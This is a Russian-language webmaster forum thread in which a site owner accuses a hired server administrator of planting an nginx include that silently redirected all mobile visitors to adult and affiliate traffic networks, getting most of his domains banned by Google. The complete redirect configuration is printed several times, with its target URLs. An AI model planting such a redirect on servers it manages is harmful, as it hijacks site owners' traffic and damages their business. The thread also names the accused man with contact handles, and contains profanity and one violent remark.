Админ mismer skype:sadm119849 icq:119849 мошенник и читер

Этот человек - mismer Саша skype sadm119849 icq 119849 занимался сетапом двух моих серверов и переносом на них всех данных.
Профиль на Мастере:
https://www.master-x.com/wm_directory/about/?u=24756

В 20-х числах июля я случайно заметил, что мои блоги в бане Гугла. Полез в админку и охуел от горы писем такого содержания:

Цитата:

Stop redirecting smartphone users to the homepage of http://www.domain.net/ July 25, 2014 Dear webmaster of http://www.domain.net/, Google systems have detected that your desktop site URLs redirect smartphone users to the homepage of the smartphone site rather than the page they found in Search results. This critical issue causes problems for Googlebot for smartphones because it can’t access your smartphone URLs. It also confuses your users.

Такие письма пришли по почти всем моим доменам.
Никакого редиректа я не ставил и его не должно было быть. Я зашел под мобильным клиентом и увидел что абсолютно со всех страниц всех доменов идет редирект мобильного трафа на входе.

Вначале я подумал что мне сломали сервак и стал стучаться этому же админу, попутно проверяя откуда может быть редирект - это было явно в настройках сервера. Нашел сам очень быстро - в файле nginx.inc была такая строка:

Код:

include /usr/local/ispmgr/etc/nginx.include;

Сам файл nginx.include и был источником проблемы:

Код:

set $mobile_rewrite do_not_perform; if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ipad|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {   set $mobile_rewrite perform; } if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {   set $mobile_rewrite perform; } if ($mobile_rewrite = perform) {   rewrite ^ http://mobile.plugrush.com/classicsexporn.com/5ace/direct redirect;   break; }

Увидев строку:

Код: [развернуть]

http://mobile.plugrush.com/classicsexporn.com/5ace/direct

я уже понял откуда ноги растут, т.к. это был домен Kebzu - админ с помощью доменов Kebzu сделал себе акки на биржах и решил срубить бабла, средиректив весь мобильный траффик с моего сервера. Судя по ошибкам Гугла, редирект был активирован 5 июля. И проработал чуть больше 20 дней.
Еще одним признаком был заход из-под рута на сервер незадолго до моего захода:

Код:

Last login: Fri Jul 18 18:01:54 2014 from 85.17.145.218

Это его IP.

Результат его деятельности - бан 67 из 77 доменов, вытащить их из бана не удается - приходят стандартные ответы:

Цитата:

Dear Webmaster of http://www.domain.com/, We’ve reviewed the reconsideration request for http://www.domain.com/ and modified its status, but we still believe that content on your site or links to your site are outside our quality guidelines. To be eligible for another reconsideration, you need to address the remaining issues for your site.

Даже на рукописные блоги приходят такие же ответы.

Убытки с учетом того что ушли в бан несколько десятков доменов с лицензионными скриптами просто астрономические.

Это еще не конец истории - все это время, что прошло с момента инцидента, шла проверка и настройка серверов, которые оказались в катастрофическом состоянии, фактически без настройки и на первом сервере вообще не работал зеркальный RAID - второй винт тупо стоял без дела, вся инфа была на одном винте с риском краша.
Вот очень краткие выдержки саппорта который занимался серверами:

Цитата:

я тут вижу неграмотно настроенный сервер, судя по всем настройкам - админ крайне низкой квалификации, возможно плохой bsd-шник, который настроил линукс по bsd-принципу

Цитата:

ядро не настроено, старое

Цитата:

нгинкс настроен плохо, апач с mpm_itk - вообще непонятно зачем, если сервер работает с одним пользователем, мускль настроен не очень, фс - вообще никак

И наконец - феерия:

Цитата:

на этом сервере один диск не используется. По-хорошему - его нужно в зеркальный рейд воткнуть, т.к. если текущий умрет - всё пропадёт

Чтобы восстановить рейд потребовалась аренда KVM на сутки за 75$

А вот и пояснения самого админа по поводу редиректа:

Цитата:

[22.07.14, 09:49:30] sadm: я проектировал тдс [22.07.14, 09:50:16] sadm: надо бло протестировать систему [22.07.14, 09:51:14] sadm: да я как-то не подумал что я могу вам навредить [22.07.14, 09:52:00] sadm: я же постоянно тестирую новые фичи [22.07.14, 09:52:07] sadm: какбы стараюсь для всех [22.07.14, 09:52:29] sadm: я не думал что смогу навредить вам своими действиями

Я такой хуеты в жизни не слышал - он проектировал ТДС, ппц просто.

У КОГО ЭТОТ ЧЕЛОВЕК ЗАНИМАЛСЯ НАСТРОЙКОЙ СЕРВЕРОВ - ПРОВЕРЯЙТЕ ВСЕ, НАНИМАЙТЕ НОРМАЛЬНЫХ АДМИНОВ И ВСЕ ПРОВЕРЯЙТЕ.

Я буду дополнять топик новыми данными, просто очень много всего чтобы сходу все описать.

Последний раз редактировалось: EagleOwl (22/08/14 в 19:53), всего редактировалось 6 раз(а)

Донастройка серверов стоила 250$.
Я приведу в свернутом виде еще файлы которые лежали рядом с nginx.include и были следами деятельных размышлений одмина. Все файлы датированы аж 22 марта - это как раз попадает на даты когда был переезд.

nginx.include!

Код: [развернуть]

set $mobile_rewrite do_not_perform; if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ipad|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {   set $mobile_rewrite perform; } if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {   set $mobile_rewrite perform; } if ($mobile_rewrite = perform) {   rewrite ^ http://1empiredirect.com/redirect?aff_id=1136&subid=mix&sub…e%2Fdirect redirect;   break; }

nginx.include1

Код: [развернуть]

set $mobile_rewrite do_not_perform; if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ipad|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {   set $mobile_rewrite perform; } if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {   set $mobile_rewrite perform; } if ($mobile_rewrite = perform) {   rewrite ^ http://mobile.plugrush.com/classicsexporn.com/5ace/direct redirect;   break; }

nginx.include2

Код: [развернуть]

set $mobile_rewrite do_not_perform; if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ipad|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {   set $mobile_rewrite perform; } if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {   set $mobile_rewrite perform; } if ($mobile_rewrite = perform) {   rewrite ^ http://ussrmvapi.com/url?id=73db6dd670a694b4c9fa5c0a92fb3aeb&subid=1504 redirect;   break; }

nginx.include.old

Код: [развернуть]

set $mobile_rewrite do_not_perform; if ($http_user_agent ~* "(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ipad|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {   set $mobile_rewrite perform; } if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {   set $mobile_rewrite perform; } if ($mobile_rewrite = perform) {   rewrite ^ http://mobile.plugrush.com/classicsexporn.com/5ace/direct redirect;   break; }

Жесть...

Видел работу похожих админов, но с установкой редиректа трафа - такое впервые. Это вообще полная дурь в голове должна быть.

Непонятно: этот Саша и местный Kebzu - один чел?

Нет конечно, это разные люди. Собственно Kebzu мне посоветовал этого админа в свое время. Если Kebzu захочет, то отпишется тут.

Вот его рекламный топик:
Ищу работу!

Профиль на Мастере:
https://www.master-x.com/wm_directory/about/?u=24756

Да это может быть косяк
Реально попался пару лет назад один админ завел мне юзера test/test
На след. день понятно, что было с серваком )

Редирект мобильного трафа на биржу - это косяк? Ну я не знаю что сказать тебе даже.

Мда, жестоко 67 из 77, а отмаза - не думал, не знал просто бред, ты админ вроде как

я так и не получил толком никаких объяснений.
долгое сотрудничество вылилось в большую наебку.
печаль

в итоге сколько потерял $ в месяц? просто интересен порядок сумм

EagleOwl писал:

Вот его рекламный топик: Ищу работу! Профиль на Мастере: https://www.master-x.com/wm_directory/about/?u=24756

слава аллаху я не воспользовался тогда его услугами!!! мой первый пост в его топе:

sotiris писал:

ну чтож, список внушительный. но без рекомендаций тебя никто не возьмет. мне самому в данный момент не нужен человек с твоими навыками, но тот, кто заинтересуется, первым делом попросит, чтобы отписались люди, которым ты что-либо уже делал.

пиздец...
сочувствую, вот же уебаны....

JetRX писал:

в итоге сколько потерял $ в месяц?

какая разница?

Херасе!Вот и верь после этого людям!

За такое нужно пальцы этому админу переломать

Заказов не прибавляется, а лёгкие деньги были так близко.

Я тоже конечно дурня спорол, надо было менять доступы на сервак сразу же. Просто до сих пор не сталкивался с ситуацией когда человек так бы хозяйничал на сервере который ему совершенно не принадлежит.

JetRX писал:

в итоге сколько потерял $ в месяц? просто интересен порядок сумм

Я ХЗ ты тролль или кто, но можешь посчитать хотя бы лицензии на скрипты 100-200$ плюс диз примерно 100$ плюс дески заказные плюс моя работа и время и в итоге это нельзя даже продать т.к. домены в бане. Про отсутствие поискового трафа и соответственно общее сильное падение продаж думаю сам догадаешься.
Ну и на количество помножить не забудь, там конечно были и блоги изредка но в основном сиджи и сиджетубы.
Для меня это сейчас очень даже не лишние деньги.


Еще скажу что Гуглу все объяснения до жопы, был факт редиректа - пиздуй в бан, а почему это случилось - это сугубо твои проблемы и на решение вопроса они влияют примерно никак.

Тут обидно бля что там было несколько небольших сеток ресов которые благополучно прошли через все баны и фильтры Гугла которые были за последнее время без потерь, так нет же - нашелся человек который их в бан тупо столкнул.

Нихуя не все вычистили оказывается. Проглядели админы какую-то хрень, типа торрента или хз что это. Место закончилось на винтах полезли смотреть а там полтерабайта таких вот закачек лежит:

Цитата:

3.Hochzeiten.zu.viel.German.2013.AC3.BDRiP.x264-XF.mkv A.Merry.Friggin.Christmas.2014.HDRip.XViD-juggs[ETRG].avi.tar escapeVektor.USA.3DS-BigBlueBox.tar iNumber.Number.2013.720p.BluRay.x264-NOSCREENS.mkv The.Sacrament.German.2013.AC3.BDRiP.x264-XF.mkv The.Teen-Aholics.3.XXX.DVDRip.x264-Pr0nStarS.mp4 The.Wolf.Among.Us.PS3-iMARS.tar

Еще не сразу заметил - все ресы из-за этого лежали уже неделю.
Надо вообще от этого сервака отказаться - это проще чем его чистить видимо.

Последний раз редактировалось: EagleOwl (12/11/14 в 17:28), всего редактировалось 1 раз

Хуя себе, я думал эта печальная история уже закончилась. А тут блядь все новые и новые сюрпризы.

EagleOwl писал:

Надо вообще от этого сервака отказаться - это проще чем его чистить видимо.

Стоит поебаться с переездом. Зато траблы решаться навсегда. Имхо.

EagleOwl: так делайте полный реинсталл сервера. Х.з. что там у вас с системой, может бакдоры уже на уровне системы зашиты.

EagleOwl: Сочувствую тебе бро.